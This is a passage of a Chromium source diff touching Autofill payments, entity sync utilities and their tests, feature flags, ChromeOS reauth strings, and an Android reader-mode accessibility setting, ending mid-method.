+file://components/autofill/core/browser/payments/OWNERS
\ No newline at end of file
diff --git a/components/autofill/core/browser/form_import/payments/payments_form_data_importer.cc b/components/autofill/core/browser/form_import/payments/payments_form_data_importer.cc
new file mode 100644
index 0000000..106175e
--- /dev/null
+++ b/components/autofill/core/browser/form_import/payments/payments_form_data_importer.cc
@@ -0,0 +1,16 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "components/autofill/core/browser/form_import/payments/payments_form_data_importer.h"
+
+#include "base/check_deref.h"
+
+namespace autofill::payments {
+
+PaymentsFormDataImporter::PaymentsFormDataImporter(AutofillClient* client)
+    : client_(CHECK_DEREF(client)) {}
+
+PaymentsFormDataImporter::~PaymentsFormDataImporter() = default;
+
+}  // namespace autofill::payments
diff --git a/components/autofill/core/browser/form_import/payments/payments_form_data_importer.h b/components/autofill/core/browser/form_import/payments/payments_form_data_importer.h
new file mode 100644
index 0000000..59c8c7ba
--- /dev/null
+++ b/components/autofill/core/browser/form_import/payments/payments_form_data_importer.h
@@ -0,0 +1,46 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef COMPONENTS_AUTOFILL_CORE_BROWSER_FORM_IMPORT_PAYMENTS_PAYMENTS_FORM_DATA_IMPORTER_H_
+#define COMPONENTS_AUTOFILL_CORE_BROWSER_FORM_IMPORT_PAYMENTS_PAYMENTS_FORM_DATA_IMPORTER_H_
+
+#include "base/memory/raw_ref.h"
+#include "components/autofill/core/browser/data_model/payments/credit_card.h"
+
+namespace autofill {
+
+class AutofillClient;
+
+namespace payments {
+
+// Owned by `FormDataImporter`. Responsible for payments-related form data
+// importing functionality, usually on submission. Some examples of such
+// functionality includes form extraction and processing, feature enrollment,
+// and autofill table updating.
+class PaymentsFormDataImporter {
+ public:
+  struct ExtractCreditCardFromFormResult {
+    // The extracted credit card, which may be a candidate for import.
+    // If there is no credit card field in the form, the value is the default
+    // `CreditCard()`.
+    CreditCard card;
+    // If there are multiple credit card fields of the same type in the form, we
+    // won't know which value to import.
+    bool has_duplicate_credit_card_field_type = false;
+  };
+
+  explicit PaymentsFormDataImporter(AutofillClient* client);
+  PaymentsFormDataImporter(const PaymentsFormDataImporter&) = delete;
+  PaymentsFormDataImporter& operator=(const PaymentsFormDataImporter&) = delete;
+  virtual ~PaymentsFormDataImporter();
+
+ private:
+  const raw_ref<AutofillClient> client_;
+};
+
+}  // namespace payments
+
+}  // namespace autofill
+
+#endif  // COMPONENTS_AUTOFILL_CORE_BROWSER_FORM_IMPORT_PAYMENTS_PAYMENTS_FORM_DATA_IMPORTER_H_
diff --git a/components/autofill/core/browser/payments/OWNERS b/components/autofill/core/browser/payments/OWNERS
index 4999370..b7588fe 100644
--- a/components/autofill/core/browser/payments/OWNERS
+++ b/components/autofill/core/browser/payments/OWNERS
@@ -1,4 +1,5 @@
 osaul@google.com
+qihuizhao@google.com
 siyua@chromium.org
 vinnypersky@google.com
 
diff --git a/components/autofill/core/browser/webdata/autofill_ai/entity_sync_util.cc b/components/autofill/core/browser/webdata/autofill_ai/entity_sync_util.cc
index 70ab880..3cc9745 100644
--- a/components/autofill/core/browser/webdata/autofill_ai/entity_sync_util.cc
+++ b/components/autofill/core/browser/webdata/autofill_ai/entity_sync_util.cc
@@ -17,6 +17,7 @@
 #include "components/autofill/core/browser/data_model/autofill_ai/entity_type_names.h"
 #include "components/autofill/core/browser/field_types.h"
 #include "components/autofill/core/browser/proto/autofill_ai_chrome_metadata.pb.h"
+#include "components/autofill/core/browser/webdata/valuables/valuables_sync_util.h"
 #include "components/sync/protocol/entity_data.h"
 #include "third_party/icu/source/i18n/unicode/timezone.h"
 
@@ -308,6 +309,19 @@
 
 }  // namespace
 
+std::unique_ptr<syncer::EntityData> CreateEntityDataFromEntityInstance(
+    const EntityInstance& entity) {
+  sync_pb::AutofillValuableSpecifics valuable_specifics =
+      CreateSpecificsFromEntityInstance(entity);
+  std::unique_ptr<syncer::EntityData> entity_data =
+      std::make_unique<syncer::EntityData>();
+  entity_data->name = valuable_specifics.id();
+  *entity_data->specifics.mutable_autofill_valuable() =
+      std::move(valuable_specifics);
+
+  return entity_data;
+}
+
 sync_pb::AutofillValuableSpecifics CreateSpecificsFromEntityInstance(
     const EntityInstance& entity) {
   switch (entity.type().name()) {
@@ -372,6 +386,19 @@
   return std::nullopt;
 }
 
+std::unique_ptr<syncer::EntityData> CreateEntityDataFromEntityMetadata(
+    const EntityInstance::EntityMetadata& metadata,
+    const sync_pb::AutofillValuableMetadataSpecifics::PassType pass_type) {
+  sync_pb::AutofillValuableMetadataSpecifics metadata_specifics =
+      CreateSpecificsFromEntityMetadata(metadata, pass_type);
+  std::unique_ptr<syncer::EntityData> entity_data =
+      std::make_unique<syncer::EntityData>();
+  entity_data->name = metadata_specifics.valuable_id();
+  *entity_data->specifics.mutable_autofill_valuable_metadata() =
+      std::move(metadata_specifics);
+  return entity_data;
+}
+
 sync_pb::AutofillValuableMetadataSpecifics CreateSpecificsFromEntityMetadata(
     const EntityInstance::EntityMetadata& metadata,
     const sync_pb::AutofillValuableMetadataSpecifics::PassType pass_type) {
@@ -397,18 +424,6 @@
           base::Microseconds(specifics.last_used_date_unix_epoch_micros()))};
 }
 
-std::unique_ptr<syncer::EntityData> CreateEntityDataFromEntityMetadata(
-    const EntityInstance::EntityMetadata& metadata,
-    const sync_pb::AutofillValuableMetadataSpecifics::PassType pass_type) {
-  sync_pb::AutofillValuableMetadataSpecifics metadata_specifics =
-      CreateSpecificsFromEntityMetadata(metadata, pass_type);
-  std::unique_ptr<syncer::EntityData> entity_data =
-      std::make_unique<syncer::EntityData>();
-  *entity_data->specifics.mutable_autofill_valuable_metadata() =
-      std::move(metadata_specifics);
-  return entity_data;
-}
-
 std::optional<sync_pb::AutofillValuableMetadataSpecifics::PassType>
 EntityTypeToPassType(EntityType entity_type) {
   switch (entity_type.name()) {
diff --git a/components/autofill/core/browser/webdata/autofill_ai/entity_sync_util.h b/components/autofill/core/browser/webdata/autofill_ai/entity_sync_util.h
index 98e85b9..781c49c 100644
--- a/components/autofill/core/browser/webdata/autofill_ai/entity_sync_util.h
+++ b/components/autofill/core/browser/webdata/autofill_ai/entity_sync_util.h
@@ -20,6 +20,10 @@
 class EntityInstance;
 class EntityType;
 
+// Converts the given `entity` into a `syncer::EntityData`.
+std::unique_ptr<syncer::EntityData> CreateEntityDataFromEntityInstance(
+    const EntityInstance& entity);
+
 // For a given `EntityInstance`, returns the corresponding
 // `sync_pb::AutofillValuableSpecifics`. It is assumed that the entity passed to
 // this function is syncable.
@@ -30,6 +34,11 @@
 std::optional<EntityInstance> CreateEntityInstanceFromSpecifics(
     const sync_pb::AutofillValuableSpecifics& specifics);
 
+// Converts the given `metadata` into a `syncer::EntityData`.
+std::unique_ptr<syncer::EntityData> CreateEntityDataFromEntityMetadata(
+    const EntityInstance::EntityMetadata& metadata,
+    const sync_pb::AutofillValuableMetadataSpecifics::PassType pass_type);
+
 // For a given `EntityMetadata`, returns the corresponding
 // `sync_pb::AutofillValuableMetadataSpecifics`.
 sync_pb::AutofillValuableMetadataSpecifics CreateSpecificsFromEntityMetadata(
@@ -41,11 +50,6 @@
 EntityInstance::EntityMetadata CreateEntityMetadataFromSpecifics(
     const sync_pb::AutofillValuableMetadataSpecifics& specifics);
 
-// Converts the given `metadata` into a `syncer::EntityData`.
-std::unique_ptr<syncer::EntityData> CreateEntityDataFromEntityMetadata(
-    const EntityInstance::EntityMetadata& metadata,
-    const sync_pb::AutofillValuableMetadataSpecifics::PassType pass_type);
-
 // Converts the given `entity_type_name` to the corresponding `PassType`.
 std::optional<sync_pb::AutofillValuableMetadataSpecifics::PassType>
 EntityTypeToPassType(EntityType entity_type);
diff --git a/components/autofill/core/browser/webdata/autofill_ai/entity_sync_util_unittest.cc b/components/autofill/core/browser/webdata/autofill_ai/entity_sync_util_unittest.cc
index 0edd1e2..61f74c0e 100644
--- a/components/autofill/core/browser/webdata/autofill_ai/entity_sync_util_unittest.cc
+++ b/components/autofill/core/browser/webdata/autofill_ai/entity_sync_util_unittest.cc
@@ -89,6 +89,50 @@
   return specifics;
 }
 
+TEST(EntitySyncUtilTest, CreateEntityDataFromEntityInstance) {
+  EntityInstance vehicle_entity = test::GetVehicleEntityInstance();
+  std::unique_ptr<syncer::EntityData> entity_data =
+      CreateEntityDataFromEntityInstance(vehicle_entity);
+
+  sync_pb::AutofillValuableSpecifics specifics =
+      entity_data->specifics.autofill_valuable();
+  ASSERT_TRUE(entity_data->specifics.has_autofill_valuable());
+
+  const sync_pb::VehicleRegistration& vehicle_specifics =
+      specifics.vehicle_registration();
+
+  EXPECT_EQ(vehicle_entity.guid().value(), specifics.id());
+  EXPECT_EQ(
+      vehicle_entity.attribute(AttributeType(AttributeTypeName::kVehicleMake))
+          ->GetCompleteRawInfo(),
+      base::UTF8ToUTF16(vehicle_specifics.vehicle_make()));
+  EXPECT_EQ(
+      vehicle_entity.attribute(AttributeType(AttributeTypeName::kVehicleModel))
+          ->GetCompleteRawInfo(),
+      base::UTF8ToUTF16(vehicle_specifics.vehicle_model()));
+  EXPECT_EQ(
+      vehicle_entity.attribute(AttributeType(AttributeTypeName::kVehicleYear))
+          ->GetCompleteRawInfo(),
+      base::UTF8ToUTF16(vehicle_specifics.vehicle_year()));
+  EXPECT_EQ(
+      vehicle_entity.attribute(AttributeType(AttributeTypeName::kVehicleOwner))
+          ->GetCompleteRawInfo(),
+      base::UTF8ToUTF16(vehicle_specifics.owner_name()));
+  EXPECT_EQ(
+      vehicle_entity
+          .attribute(AttributeType(AttributeTypeName::kVehiclePlateNumber))
+          ->GetCompleteRawInfo(),
+      base::UTF8ToUTF16(vehicle_specifics.vehicle_license_plate()));
+  EXPECT_EQ(
+      vehicle_entity.attribute(AttributeType(AttributeTypeName::kVehicleVin))
+          ->GetCompleteRawInfo(),
+      base::UTF8ToUTF16(vehicle_specifics.vehicle_identification_number()));
+  EXPECT_EQ(vehicle_entity
+                .attribute(AttributeType(AttributeTypeName::kVehiclePlateState))
+                ->GetCompleteRawInfo(),
+            base::UTF8ToUTF16(vehicle_specifics.license_plate_region()));
+}
+
 // Tests that the `CreateEntityInstanceFromSpecifics` function correctly
 // deserializes the vehicle entity from its proto representation.
 TEST(EntitySyncUtilTest, CreateEntityInstanceFromSpecifics_Vehicle) {
@@ -405,6 +449,33 @@
   }
 }
 
+TEST(EntitySyncUtilTest, CreateEntityDataFromEntityMetadata) {
+  EntityInstance::EntityMetadata metadata;
+  metadata.guid = EntityInstance::EntityId("test-valuable-id");
+  metadata.date_modified = base::Time::FromDeltaSinceWindowsEpoch(
+      base::Microseconds(13379000000000000u));
+  metadata.use_count = 5;
+  metadata.use_date = base::Time::FromDeltaSinceWindowsEpoch(
+      base::Microseconds(13347400000000000u));
+
+  std::unique_ptr<syncer::EntityData> entity_data =
+      CreateEntityDataFromEntityMetadata(
+          metadata,
+          sync_pb::AutofillValuableMetadataSpecifics::VEHICLE_REGISTRATION);
+
+  EXPECT_EQ(entity_data->name, metadata.guid.value());
+  EXPECT_EQ(entity_data->specifics.autofill_valuable_metadata().valuable_id(),
+            metadata.guid.value());
+  EXPECT_EQ(entity_data->specifics.autofill_valuable_metadata()
+                .last_modified_date_unix_epoch_micros(),
+            metadata.date_modified.ToDeltaSinceWindowsEpoch().InMicroseconds());
+  EXPECT_EQ(entity_data->specifics.autofill_valuable_metadata()
+                .last_used_date_unix_epoch_micros(),
+            metadata.use_date.ToDeltaSinceWindowsEpoch().InMicroseconds());
+  EXPECT_EQ(entity_data->specifics.autofill_valuable_metadata().pass_type(),
+            sync_pb::AutofillValuableMetadataSpecifics::VEHICLE_REGISTRATION);
+}
+
 // Tests that the `CreateSpecificsFromEntityMetadata` function correctly
 // converts EntityTable::EntityMetadata to the proto.
 TEST(EntitySyncUtilTest, CreateSpecificsFromEntityMetadata) {
diff --git a/components/autofill/core/browser/webdata/valuables/valuables_sync_util.cc b/components/autofill/core/browser/webdata/valuables/valuables_sync_util.cc
index 8da844bf..8b44405b 100644
--- a/components/autofill/core/browser/webdata/valuables/valuables_sync_util.cc
+++ b/components/autofill/core/browser/webdata/valuables/valuables_sync_util.cc
@@ -56,20 +56,6 @@
   return entity_data;
 }
 
-std::unique_ptr<syncer::EntityData> CreateEntityDataFromEntityInstance(
-    EntityInstance entity) {
-  sync_pb::AutofillValuableSpecifics valuable_specifics =
-      CreateSpecificsFromEntityInstance(entity);
-  std::unique_ptr<syncer::EntityData> entity_data =
-      std::make_unique<syncer::EntityData>();
-  entity_data->name = valuable_specifics.id();
-  AutofillValuableSpecifics* specifics =
-      entity_data->specifics.mutable_autofill_valuable();
-  specifics->CopyFrom(valuable_specifics);
-
-  return entity_data;
-}
-
 std::unique_ptr<syncer::EntityData> CreateEntityDataFromValuableMetadata(
     const ValuableMetadata& metadata,
     const AutofillValuableMetadataSpecifics::PassType pass_type) {
diff --git a/components/autofill/core/browser/webdata/valuables/valuables_sync_util.h b/components/autofill/core/browser/webdata/valuables/valuables_sync_util.h
index dfc99c55e..7b8a5c7 100644
--- a/components/autofill/core/browser/webdata/valuables/valuables_sync_util.h
+++ b/components/autofill/core/browser/webdata/valuables/valuables_sync_util.h
@@ -5,7 +5,6 @@
 #ifndef COMPONENTS_AUTOFILL_CORE_BROWSER_WEBDATA_VALUABLES_VALUABLES_SYNC_UTIL_H_
 #define COMPONENTS_AUTOFILL_CORE_BROWSER_WEBDATA_VALUABLES_VALUABLES_SYNC_UTIL_H_
 
-#include "components/autofill/core/browser/data_model/autofill_ai/entity_instance.h"
 #include "components/autofill/core/browser/data_model/valuables/loyalty_card.h"
 #include "components/sync/protocol/autofill_valuable_specifics.pb.h"
 #include "components/sync/protocol/entity_data.h"
@@ -20,10 +19,6 @@
 std::unique_ptr<syncer::EntityData> CreateEntityDataFromLoyaltyCard(
     const LoyaltyCard& loyalty_card);
 
-// Converts the given `entity` into a `syncer::EntityData`.
-std::unique_ptr<syncer::EntityData> CreateEntityDataFromEntityInstance(
-    EntityInstance entity);
-
 // Converts the given valuable `specifics` into an equivalent LoyaltyCard
 // instance.
 LoyaltyCard CreateAutofillLoyaltyCardFromSpecifics(
diff --git a/components/autofill/core/browser/webdata/valuables/valuables_sync_util_unittest.cc b/components/autofill/core/browser/webdata/valuables/valuables_sync_util_unittest.cc
index f47bab3..9be9ca3 100644
--- a/components/autofill/core/browser/webdata/valuables/valuables_sync_util_unittest.cc
+++ b/components/autofill/core/browser/webdata/valuables/valuables_sync_util_unittest.cc
@@ -121,50 +121,6 @@
       0u);
 }
 
-TEST(EntityInstanceSyncUtilTest, CreateEntityDataFromEntityInstance) {
-  EntityInstance vehicle_entity = test::GetVehicleEntityInstance();
-  std::unique_ptr<syncer::EntityData> entity_data =
-      CreateEntityDataFromEntityInstance(vehicle_entity);
-
-  sync_pb::AutofillValuableSpecifics specifics =
-      entity_data->specifics.autofill_valuable();
-  ASSERT_TRUE(entity_data->specifics.has_autofill_valuable());
-
-  const sync_pb::VehicleRegistration& vehicle_specifics =
-      specifics.vehicle_registration();
-
-  EXPECT_EQ(vehicle_entity.guid().value(), specifics.id());
-  EXPECT_EQ(
-      vehicle_entity.attribute(AttributeType(AttributeTypeName::kVehicleMake))
-          ->GetCompleteRawInfo(),
-      base::UTF8ToUTF16(vehicle_specifics.vehicle_make()));
-  EXPECT_EQ(
-      vehicle_entity.attribute(AttributeType(AttributeTypeName::kVehicleModel))
-          ->GetCompleteRawInfo(),
-      base::UTF8ToUTF16(vehicle_specifics.vehicle_model()));
-  EXPECT_EQ(
-      vehicle_entity.attribute(AttributeType(AttributeTypeName::kVehicleYear))
-          ->GetCompleteRawInfo(),
-      base::UTF8ToUTF16(vehicle_specifics.vehicle_year()));
-  EXPECT_EQ(
-      vehicle_entity.attribute(AttributeType(AttributeTypeName::kVehicleOwner))
-          ->GetCompleteRawInfo(),
-      base::UTF8ToUTF16(vehicle_specifics.owner_name()));
-  EXPECT_EQ(
-      vehicle_entity
-          .attribute(AttributeType(AttributeTypeName::kVehiclePlateNumber))
-          ->GetCompleteRawInfo(),
-      base::UTF8ToUTF16(vehicle_specifics.vehicle_license_plate()));
-  EXPECT_EQ(
-      vehicle_entity.attribute(AttributeType(AttributeTypeName::kVehicleVin))
-          ->GetCompleteRawInfo(),
-      base::UTF8ToUTF16(vehicle_specifics.vehicle_identification_number()));
-  EXPECT_EQ(vehicle_entity
-                .attribute(AttributeType(AttributeTypeName::kVehiclePlateState))
-                ->GetCompleteRawInfo(),
-            base::UTF8ToUTF16(vehicle_specifics.license_plate_region()));
-}
-
 TEST(ValuableMetadataSyncUtilTest, CreateEntityDataFromValuableMetadata) {
   ValuableMetadata metadata = TestValuableMetadata();
   std::unique_ptr<syncer::EntityData> entity_data =
diff --git a/components/autofill/core/common/autocomplete_parsing_util.cc b/components/autofill/core/common/autocomplete_parsing_util.cc
index bc5d234..40fc788 100644
--- a/components/autofill/core/common/autocomplete_parsing_util.cc
+++ b/components/autofill/core/common/autocomplete_parsing_util.cc
@@ -185,20 +185,12 @@
     base::ReplaceFirstSubstringAfterOffset(&value, 0, "phone", "tel");
   }
 
-  std::optional<HtmlFieldType> type =
-      ParseStandardizedAutocompleteAttribute(value);
-  if (!type.has_value()) {
-    type = ParseProposedAutocompleteAttribute(value);
-    if (!type.has_value())
-      type = ParseNonStandarizedAutocompleteAttribute(value);
-  }
-
-  if (type.has_value())
-    return *type;
-
-  // `value` cannot be mapped to any HtmlFieldType. By classifying the field
-  // as HtmlFieldType::kUnrecognized Autofill is effectively disabled.
-  return HtmlFieldType::kUnrecognized;
+  return ParseStandardizedAutocompleteAttribute(value)
+      .or_else([&] { return ParseProposedAutocompleteAttribute(value); })
+      .or_else([&] { return ParseNonStandarizedAutocompleteAttribute(value); })
+      // `value` cannot be mapped to any HtmlFieldType. By classifying the field
+      // as HtmlFieldType::kUnrecognized Autofill is effectively disabled.
+      .value_or(HtmlFieldType::kUnrecognized);
 }
 
 std::optional<AutocompleteParsingResult> ParseAutocompleteAttribute(
diff --git a/components/autofill/core/common/autofill_features.cc b/components/autofill/core/common/autofill_features.cc
index 62c7d59..75bd76e 100644
--- a/components/autofill/core/common/autofill_features.cc
+++ b/components/autofill/core/common/autofill_features.cc
@@ -558,6 +558,10 @@
 BASE_FEATURE(kAutofillEnableNonAffiliatedLoyaltyCardsFilling,
              base::FEATURE_DISABLED_BY_DEFAULT);
 
+// Kill switch for saving entities to wallet from settings.
+BASE_FEATURE(kAutofillEnableSaveToWalletFromSettings,
+             base::FEATURE_DISABLED_BY_DEFAULT);
+
 #if BUILDFLAG(IS_ANDROID)
 // Controls if Chrome Autofill UI surfaces ignore touch events if something is
 // fully or partially obscuring the Chrome window.
diff --git a/components/autofill/core/common/autofill_features.h b/components/autofill/core/common/autofill_features.h
index 4f60bb6..8794ec4 100644
--- a/components/autofill/core/common/autofill_features.h
+++ b/components/autofill/core/common/autofill_features.h
@@ -202,6 +202,8 @@
 BASE_DECLARE_FEATURE(kAutofillEnableLoyaltyCardsFilling);
 COMPONENT_EXPORT(AUTOFILL)
 BASE_DECLARE_FEATURE(kAutofillEnableNonAffiliatedLoyaltyCardsFilling);
+COMPONENT_EXPORT(AUTOFILL)
+BASE_DECLARE_FEATURE(kAutofillEnableSaveToWalletFromSettings);
 #if BUILDFLAG(IS_ANDROID)
 COMPONENT_EXPORT(AUTOFILL)
 BASE_DECLARE_FEATURE(kAutofillEnableSecurityTouchEventFilteringAndroid);
diff --git a/components/autofill/core/common/autofill_payments_features.cc b/components/autofill/core/common/autofill_payments_features.cc
index a405351..80ef3ab1 100644
--- a/components/autofill/core/common/autofill_payments_features.cc
+++ b/components/autofill/core/common/autofill_payments_features.cc
@@ -45,6 +45,13 @@
 BASE_FEATURE(kAutofillEnableAmountExtractionTesting,
              base::FEATURE_DISABLED_BY_DEFAULT);
 
+#if BUILDFLAG(IS_IOS)
+// When enabled, users are given the bottom sheet suggestion to scan credit
+// card, and save and fill the card information.
+BASE_FEATURE(kAutofillEnableBottomSheetScanCardAndFill,
+             base::FEATURE_DISABLED_BY_DEFAULT);
+#endif
+
 // When enabled, buy now pay later (BNPL) in Autofill will be offered.
 BASE_FEATURE(kAutofillEnableBuyNowPayLater,
 #if BUILDFLAG(IS_WIN) || BUILDFLAG(IS_MAC) || BUILDFLAG(IS_LINUX) || \
diff --git a/components/autofill/core/common/autofill_payments_features.h b/components/autofill/core/common/autofill_payments_features.h
index a17483d..57aa527 100644
--- a/components/autofill/core/common/autofill_payments_features.h
+++ b/components/autofill/core/common/autofill_payments_features.h
@@ -28,6 +28,10 @@
 BASE_DECLARE_FEATURE(kAutofillEnableAmountExtraction);
 COMPONENT_EXPORT(AUTOFILL)
 BASE_DECLARE_FEATURE(kAutofillEnableAmountExtractionTesting);
+#if BUILDFLAG(IS_IOS)
+COMPONENT_EXPORT(AUTOFILL)
+BASE_DECLARE_FEATURE(kAutofillEnableBottomSheetScanCardAndFill);
+#endif
 COMPONENT_EXPORT(AUTOFILL)
 BASE_DECLARE_FEATURE(kAutofillEnableBuyNowPayLater);
 COMPONENT_EXPORT(AUTOFILL)
diff --git a/components/autofill_payments_strings.grdp b/components/autofill_payments_strings.grdp
index 960b8cb8..528b4e5 100644
--- a/components/autofill_payments_strings.grdp
+++ b/components/autofill_payments_strings.grdp
@@ -574,7 +574,7 @@
   </message>
 
   <!-- DeviceAuthentication titles-->
-  <if expr="is_macosx or is_chromeos">
+  <if expr="is_macosx">
     <message name="IDS_PAYMENTS_AUTOFILL_FILLING_MANDATORY_REAUTH" desc="Text that appears in the payments autofill mandatory re-authentication popup, asking the user to authenticate using biometric or device unlock before filling. Note: MacOS has the wording 'Google Chrome is trying to' prepended onto the message during user auth, and it will add a period at the end.">
       verify it's you so it can fill in your payment info
     </message>
@@ -585,6 +585,17 @@
       edit payment methods
     </message>
   </if>
+  <if expr="is_chromeos">
+    <message name="IDS_PAYMENTS_AUTOFILL_FILLING_MANDATORY_REAUTH" desc="Text that appears in the payments autofill mandatory re-authentication popup, asking the user to authenticate using biometric or device unlock before filling.">
+      Verify it’s you to fill in your payment info
+    </message>
+    <message name="IDS_PAYMENTS_AUTOFILL_MANDATORY_REAUTH_PROMPT" desc="Message to be displayed to the user in the device authentication prompt when they click on the mandatory auth toggle on the Payments settings page, irrespective to enable or disable it. When mandatory auth toggle is enabled, we would authenticate the user before autofilling in the payment details.">
+      Verify it’s you to change your payments settings
+    </message>
+    <message name="IDS_PAYMENTS_AUTOFILL_EDIT_CARD_MANDATORY_REAUTH_PROMPT" desc="Message to be displayed to the user in the device authentication prompt when they try to edit a local card on the Payments settings page if the mandatory auth toggle is enabled. If the user auth was successful, we would then show the edit card dialog.">
+      Verify it’s you to edit payments methods
+    </message>
+  </if>
   <if expr="is_win">
     <message name="IDS_PAYMENTS_AUTOFILL_FILLING_MANDATORY_REAUTH" desc="Text that appears in the payments autofill mandatory re-authentication popup, asking the user to authenticate using biometric or device unlock before filling.">
       Google Chrome is trying to verify it's you so it can fill in your payment info.
diff --git a/components/autofill_payments_strings_grdp/IDS_PAYMENTS_AUTOFILL_EDIT_CARD_MANDATORY_REAUTH_PROMPT.png.sha1 b/components/autofill_payments_strings_grdp/IDS_PAYMENTS_AUTOFILL_EDIT_CARD_MANDATORY_REAUTH_PROMPT.png.sha1
index 0509b554..7b95b63 100644
--- a/components/autofill_payments_strings_grdp/IDS_PAYMENTS_AUTOFILL_EDIT_CARD_MANDATORY_REAUTH_PROMPT.png.sha1
+++ b/components/autofill_payments_strings_grdp/IDS_PAYMENTS_AUTOFILL_EDIT_CARD_MANDATORY_REAUTH_PROMPT.png.sha1
@@ -1 +1 @@
-9fd2cdf5679a2a5c15159c2acdf16a2f359f4dd6
\ No newline at end of file
+4ae25593878602358017ba3f04e6622ec405d0a8
\ No newline at end of file
diff --git a/components/autofill_payments_strings_grdp/IDS_PAYMENTS_AUTOFILL_FILLING_MANDATORY_REAUTH.png.sha1 b/components/autofill_payments_strings_grdp/IDS_PAYMENTS_AUTOFILL_FILLING_MANDATORY_REAUTH.png.sha1
index 4950986..b51f91e 100644
--- a/components/autofill_payments_strings_grdp/IDS_PAYMENTS_AUTOFILL_FILLING_MANDATORY_REAUTH.png.sha1
+++ b/components/autofill_payments_strings_grdp/IDS_PAYMENTS_AUTOFILL_FILLING_MANDATORY_REAUTH.png.sha1
@@ -1 +1 @@
-2fe0845b4d37a5deab54eaf85fe43d3fe71fdb9b
\ No newline at end of file
+a34bbf938c2398c18ba2ee2cdd6bf5d51e7c576f
\ No newline at end of file
diff --git a/components/autofill_payments_strings_grdp/IDS_PAYMENTS_AUTOFILL_MANDATORY_REAUTH_PROMPT.png.sha1 b/components/autofill_payments_strings_grdp/IDS_PAYMENTS_AUTOFILL_MANDATORY_REAUTH_PROMPT.png.sha1
index 00d48a67..218f9a1 100644
--- a/components/autofill_payments_strings_grdp/IDS_PAYMENTS_AUTOFILL_MANDATORY_REAUTH_PROMPT.png.sha1
+++ b/components/autofill_payments_strings_grdp/IDS_PAYMENTS_AUTOFILL_MANDATORY_REAUTH_PROMPT.png.sha1
@@ -1 +1 @@
-3ccb852d16297662db3e57490b98c122ddde43b9
\ No newline at end of file
+03fc54f18598aa2be6caa7be16af21ea8ebbda07
\ No newline at end of file
diff --git a/components/browser_ui/accessibility/android/BUILD.gn b/components/browser_ui/accessibility/android/BUILD.gn
index 6571e837..d0cfd84 100644
--- a/components/browser_ui/accessibility/android/BUILD.gn
+++ b/components/browser_ui/accessibility/android/BUILD.gn
@@ -78,6 +78,7 @@
     "//components/browser_ui/styles/android:java",
     "//components/browser_ui/widget/android:java",
     "//components/cached_flags:java",
+    "//components/dom_distiller/core/android:dom_distiller_core_java",
     "//components/omnibox/common:features_java",
     "//components/prefs/android:java",
     "//components/user_prefs/android:java",
@@ -189,6 +190,7 @@
     "//base:tasks_java",
     "//components/browser_ui/settings/android:java",
     "//components/browser_ui/settings/android:test_support_java",
+    "//components/dom_distiller/core/android:dom_distiller_core_java",
     "//content/public/android:content_java",
     "//content/public/android:content_main_dex_jni_java",
     "//content/public/common:common_java",
diff --git a/components/browser_ui/accessibility/android/DEPS b/components/browser_ui/accessibility/android/DEPS
index bcd0f8b..25f3de0 100644
--- a/components/browser_ui/accessibility/android/DEPS
+++ b/components/browser_ui/accessibility/android/DEPS
@@ -1,5 +1,6 @@
 include_rules = [
   "+content/public/test/android",
+  "+components/dom_distiller",
   "+components/omnibox",
   "+ui/accessibility",
 ]
diff --git a/components/browser_ui/accessibility/android/java/res/xml/accessibility_preferences.xml b/components/browser_ui/accessibility/android/java/res/xml/accessibility_preferences.xml
index 815319e..507691c 100644
--- a/components/browser_ui/accessibility/android/java/res/xml/accessibility_preferences.xml
+++ b/components/browser_ui/accessibility/android/java/res/xml/accessibility_preferences.xml
@@ -31,6 +31,11 @@
         android:title="@string/reader_for_accessibility_title" />
 
     <org.chromium.components.browser_ui.settings.ChromeSwitchPreference
+        android:key="reader_enable_links"
+        android:summary="@string/reader_enable_links_summary"
+        android:title="@string/reader_enable_links_title" />
+
+    <org.chromium.components.browser_ui.settings.ChromeSwitchPreference
         android:key="jump_start_omnibox"
         android:summary="@string/jump_start_omnibox_summary"
         android:title="@string/jump_start_omnibox_title" />
diff --git a/components/browser_ui/accessibility/android/java/src/org/chromium/components/browser_ui/accessibility/AccessibilitySettings.java b/components/browser_ui/accessibility/android/java/src/org/chromium/components/browser_ui/accessibility/AccessibilitySettings.java
index c003167..c99e019 100644
--- a/components/browser_ui/accessibility/android/java/src/org/chromium/components/browser_ui/accessibility/AccessibilitySettings.java
+++ b/components/browser_ui/accessibility/android/java/src/org/chromium/components/browser_ui/accessibility/AccessibilitySettings.java
@@ -9,6 +9,7 @@
 import android.os.Bundle;
 import android.provider.Settings;
 
+import androidx.annotation.VisibleForTesting;
 import androidx.preference.Preference;
 import androidx.preference.PreferenceFragmentCompat;
 
@@ -30,6 +31,8 @@
 import org.chromium.components.browser_ui.site_settings.AllSiteSettings;
 import org.chromium.components.browser_ui.site_settings.SingleCategorySettings;
 import org.chromium.components.browser_ui.site_settings.SiteSettingsCategory;
+import org.chromium.components.dom_distiller.core.DistilledPagePrefs;
+import org.chromium.components.dom_distiller.core.DomDistillerFeatures;
 import org.chromium.components.omnibox.OmniboxFeatures;
 import org.chromium.content_public.browser.ContentFeatureList;
 import org.chromium.content_public.browser.ContentFeatureMap;
@@ -47,6 +50,7 @@
     public static final String PREF_PAGE_ZOOM_ALWAYS_SHOW = "page_zoom_always_show";
     public static final String PREF_FORCE_ENABLE_ZOOM = "force_enable_zoom";
     public static final String PREF_READER_FOR_ACCESSIBILITY = "reader_for_accessibility";
+    public static final String PREF_READER_ENABLE_LINKS = "reader_enable_links";
     public static final String PREF_CAPTIONS = "captions";
     public static final String PREF_ZOOM_INFO = "zoom_info";
     public static final String PREF_IMAGE_DESCRIPTIONS = "image_descriptions";
@@ -54,6 +58,26 @@
     public static final String PREF_TOUCHPAD_OVERSCROLL_HISTORY_NAVIGATION =
             "touchpad_overscroll_history_navigation";
 
+    @VisibleForTesting
+    final DistilledPagePrefs.Observer mDistilledPagePrefsObserver =
+            new DistilledPagePrefs.Observer() {
+                @Override
+                public void onChangeFontFamily(int font) {}
+
+                @Override
+                public void onChangeTheme(int theme) {}
+
+                @Override
+                public void onChangeFontScaling(float scaling) {}
+
+                @Override
+                public void onChangeLinksEnabled(boolean enabled) {
+                    ChromeSwitchPreference readerEnableLinks =
+                            findPreference(PREF_READER_ENABLE_LINKS);
+                    readerEnableLinks.setChecked(enabled);
+                }
